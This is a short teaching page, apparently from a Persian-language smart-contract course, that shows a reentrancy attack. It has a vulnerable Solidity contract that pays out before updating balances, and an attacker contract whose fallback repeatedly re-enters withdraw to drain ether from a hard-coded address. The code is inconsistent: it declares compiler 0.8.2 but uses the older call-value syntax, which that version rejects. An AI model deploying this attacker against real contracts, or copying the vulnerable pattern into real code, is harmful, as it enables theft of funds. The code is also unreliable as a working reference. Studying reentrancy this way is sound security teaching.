31 - Reentrancy Example

دوره آموزشی کان آکادمی ۲۰۲۱ Chapter 3 - Smart Contracts
1

Reentrancy Example
This set of contracts shows what a reentrancy attack (SWC-107) looks like.

pragma solidity 0.8.2;
// Example Reentrancy Attack
  
contract VulnerableContract {
    mapping(address => uint) public balances;
      
    function deposit() public payable {
        require(msg.value > 1);
        balances[msg.sender] += msg.value;
    }
      
    function withdraw(uint _amount) public {
        require(balances[msg.sender] >= _amount, "Not enough balance!");
        msg.sender.call.value(_amount)("");
        balances[msg.sender] -= _amount;
    }
      
    function getBalance() view public returns(uint) {
        return address(this).balance;
    }
      
    fallback() payable external {}
}
  
contract MaliciousContract {
    VulnerableContract vulnerableContract = VulnerableContract(0x08970FEd061E7747CD9a38d680A601510CB659FB);
      
    function deposit() public payable {
        vulnerableContract.deposit.value(msg.value)();
    }
      
    function withdraw() public {
        vulnerableContract.withdraw(1 ether);
    }
      
    function getBalance() view public returns(uint) {
        return address(this).balance;
    }
      
    fallback() payable external {
        if(address(vulnerableContract).balance > 1 ether) {
            vulnerableContract.withdraw(1 ether);
        }
    }
}